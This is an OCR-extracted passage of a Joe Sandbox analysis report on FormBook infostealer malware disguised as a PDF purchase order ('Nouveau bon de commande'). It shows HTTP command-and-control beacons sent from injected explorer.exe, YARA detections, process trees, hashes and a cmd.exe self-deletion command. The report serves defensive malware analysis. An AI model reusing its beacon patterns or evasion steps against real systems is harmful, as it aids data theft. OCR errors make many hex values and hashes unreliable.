3a 31303025 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
3170 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 357265 6d3b6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
7265 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6¢

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmli{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:col

Destination IP  Destination Port Process
162.241.218.97 80 C:\Windows\explorer.exe

Data

GET /ajs8/?q48d=HFQLptYpKX&3fBIVXm=2BRIB0J+IU74eT9QrM34IgOLc6rvRXRggRQ5DM44nGBTXrZyhrhiT7z
myDKAgt3Lv1f/ HTTP/1.1

Host: www.handybusy.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Tue, 03 Aug 2021 18:12:49 GMT

Server: nginx/1.19.10

Content-Type: text/html; charset=UTF-8
Content-Length: 0

Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress

Location: https://www.handybusy.com/ajs8/?q48d=HFQLptYpKX&3fBIVXm=2BRIB0J+IU74eT9QrM34IgOLc6rvRxRggR
Q5Dm44nGBTXrZyhrhiT7zmyDkAgt3Lv1f/
host-header: c2hhcmVkLmJsdWVob3NOLmMNvbQ==
X-Endurance-Cache-Level: 2

X-Server-Cache: true

X-Proxy-Cache: MISS

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data
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kBytes

Timestamp transferred

Aug 3, 2021 5557

20:12:53.718667030 CEST

Aug 3, 2021 5558

20:12:53.832051039 CEST

Session ID Source IP

4 192.168.2.3
kBytes

Timestamp transferred

Aug 3, 2021 5559

20:12:58.918533087 CEST

Aug 3, 2021 5560

20:12:58.958533049 CEST

Session ID Source IP

5 192.168.2.3
kBytes

Timestamp transferred

Aug 3, 2021 5561

20:13:09.126152992 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49744

Direction

ouT

Source Port
49745

Direction

ouT

Data

GET /ajs8/?3fBIVXm=PXCQsRsj6f+UKLkz5iYmBV65DPKHBBScBAKRyWuUZQRoQL6ffVXDgpay6Ct5U2sE+s5q9&q4
8d=HFQLptYpKX HTTP/1.1

Host: www.theassistedadrscheme.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Tue, 03 Aug 2021 18:12:53 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6104856e-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

160.153.138.219 80 C:\Windows\explorer.exe

Data

GET /ajs8/?q48d=HFQLptYpKX&3fBIVXm=LEjUMU+rw+m1MGLciéxLa4kNPPdUPj6aoKRsjeM/sCEyOPaNWwzv7jP
2E4a8Zzb0ARTh HTTP/1.1

Host: www.indiadesignstory.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Age: 0

Content-Security-Policy: upgrade-insecure-requests

Content-Type: text/html; charset=iso-8859-1

Date: Tue, 03 Aug 2021 18:12:58 GMT

Location: https://www.indiadesignstory.com/ajs8/?q48d=HFQLptYpKX&3fBIVXm=LEjUMU+rw+m1MGLciéxLa4dkNPPd
UPj6aoKRsjeM/sCEyOPaNWwzv7jP2E4a8Zzb0ARTh

Vary: User-Agent, Accept-Encoding

X-Backend: local

X-Cache: uncached

X-Cache-Hit: MISS

X-Cacheable: NO:HTTPS Redirect

Content-Length: 343

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
76 65 64 20 50 65 72 6d 61 6 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3¢ 2f 68 31 3e Oa 3¢ 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
2068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6e 64 69 61 64 65 73
69 67 6e 73 74 6f 72 79 2e 63 6f 6d 2f 61 6a 73 38 2f 3f 71 34 38 64 3d 48 46 51 4c 70 74 59 70 4b 58 26 61 6d 70 3b 33
66 42 6¢ 56 58 6d 3d 4c 45 6a 55 4d 55 2b 72 77 2b 6d 31 4d 47 4c 63 69 36 78 4c 61 34 6b 4e 50 50 64 55 50 6a 36 61
6f 4b 52 73 6a 65 4d 2f 73 43 45 79 30 50 61 4e 57 77 7a 76 37 6a 50 32 45 34 61 38 5a 7a 62 30 41 52 54 68 22 3e 68
65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.indiadesignsto
ry.com/ajs8/?q48d=HFQLptYpKX&amp;3fBIVXm=LEjUMU+rw+m1MGLci6xLadkNPPdUPj6aocKRsjeM/sCEyOPaNW
wzv7jP2E4a8Zzb0ARTh">here</a>.</p></body></htm|>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /ajs8/?q48d=HFQLptYpKX&3fBIVXm=3clrjbd8Uk1yhLkd6I01KEeFnSa+FczhmxXwmvBnovucnEmM2e32CtS
7ZjKvbOkoSvtC HTTP/1.1

Host: www.trucktodock.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred Direction Data

Aug 3, 2021 5561 IN HTTP/1.1 403 Forbidden

20:13:09.239820004 CEST

Code Manipulations

Statistics

Behavior

)

System Behavior

Click to jump to process

Server: openresty

Date: Tue, 03 Aug 2021 18:13:09 GMT

Content-Type: text/html
Content-Length: 275
ETag: "6104831f-113"
Via: 1.1 google
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e Oa 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3¢
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e

Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</titte></head><body>
<h1>Access Forbidden</h1></body></html>

Analysis Process: Nouveau bon de commande. 3007021 pdf.exe PID: 3704 Parent

PID: 5740
General
Start time: 20:11:06
Start date: 03/08/2021
Path: C:\Users\user\Desktop\Nouveau bon de commande. 3007021_pdf.exe

Wow64 process (32bit):

true

Commandline: ‘C:\Users\user\Desktop\Nouveau bon de commande. 3007021_pdf.exe'
Imagebase: 0x5e0000

File size: 1327104 bytes

MD5 hash: E1D1316D5BC047EC817B950286734EDO

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Written

Copyright Joe Security LLC 2021

true
true
.Net C# or VB.NET

low

Show Windows behavior
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File Read

Analysis Process: Nouveau bon de commande. 3007021_pdf.exe PID: 5028 Parent

PID: 3704
General
Start time: 20:11:26
Start date: 03/08/2021
Path: C:\Users\user\Desktop\Nouveau bon de commande. 3007021 _pdf.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Users\user\Desktop\Nouveau bon de commande. 3007021 _pdf.exe

0xf90000

1327104 bytes
E1D1316D5BC047EC817B950286734EDO

true

true

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.293883850.0000000001DF0000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000002.00000002.293883850.0000000001DF0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000002.00000002.293883850.0000000001DF0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.291525514.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000002.00000002.291525514.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000002.00000002.291525514.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.292188314.0000000001660000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000002.00000002.292188314.0000000001660000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000002.00000002.292188314.0000000001660000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 3388 Parent PID: 5028

General

Start time: 20:11:28

Start date: 03/08/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff714890000

File size: 3933184 hytes

MDS5 hash: AD5296B280E8F522A8A897C96BABOE1D

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true
true

C, C++ or other language
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Reputation:

File Activities

high

Show Windows behavior

Analysis Process: WWAHost.exe PID: 1380 Parent PID: 3388

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

20:11:45

03/08/2021
C:\Windows\SysWOW64\WWAHost.exe
true
C:\Windows\SysWOW64\WWAHost.exe
0x2f0000

829856 bytes
370C260333EB3149EF4E49C8F64652A0
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000002.472762051.0000000002A90000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000002.472762051.0000000002A90000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000002.472762051.0000000002A90000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000002.472401230.0000000002880000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000002.472401230.0000000002880000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000002.472401230.0000000002880000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000002.472841788.0000000002AC0000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000002.472841788.0000000002AC0000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000002.472841788.0000000002AC0000.00000004.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

Reputation: moderate
File Activities Show Windows behavior
File Read
Analysis Process: cmd.exe PID: 4120 Parent PID: 1380
General
Start time: 20:11:50
Start date: 03/08/2021
Path: C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit): true
Commandline: Ic del 'C:\Users\user\Desktop\Nouveau bon de commande. 3007021_pdf.exe'
Imagebase: 0xbd0000
File size: 232960 bytes
MDS5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges:
Copyright Joe Security LLC 2021

true
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Has administrator privileges: true

Programmed in: C, C++ or other language
Reputation: high
File Activities Show Windows behavior

Analysis Process: conhost.exe PID: 3468 Parent PID: 4120

General

Start time: 20:11:50

Start date: 03/08/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 33.0.0 White Diamond
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